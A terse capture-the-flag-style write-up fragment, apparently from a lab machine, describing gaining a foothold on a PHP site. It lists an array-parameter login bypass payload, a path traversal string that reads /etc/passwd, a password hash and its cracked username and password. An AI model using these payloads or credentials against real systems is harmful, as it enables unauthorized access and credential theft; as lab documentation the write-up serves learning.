Foothold

After being given the index.php source code I looked up anything that could be wrong with it (I'm not a php expert)

Stumbles across this page which looks exactly like the situation I'm in

username=admin&password[]=''

Intercepted the request and bypassed authentication

file=../../../../../../../../../etc/passwd

$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/

webadmin:dragon